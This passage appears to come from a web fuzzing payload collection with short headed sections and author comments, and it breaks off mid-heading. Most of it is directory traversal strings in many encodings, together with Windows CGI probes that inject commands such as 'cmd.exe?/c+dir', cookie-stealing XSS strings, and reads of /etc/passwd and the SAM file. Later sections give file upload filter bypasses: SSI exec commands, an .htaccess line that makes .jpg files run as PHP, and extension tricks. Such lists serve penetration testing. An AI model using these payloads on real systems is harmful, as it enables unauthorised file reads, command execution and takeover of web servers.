0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions 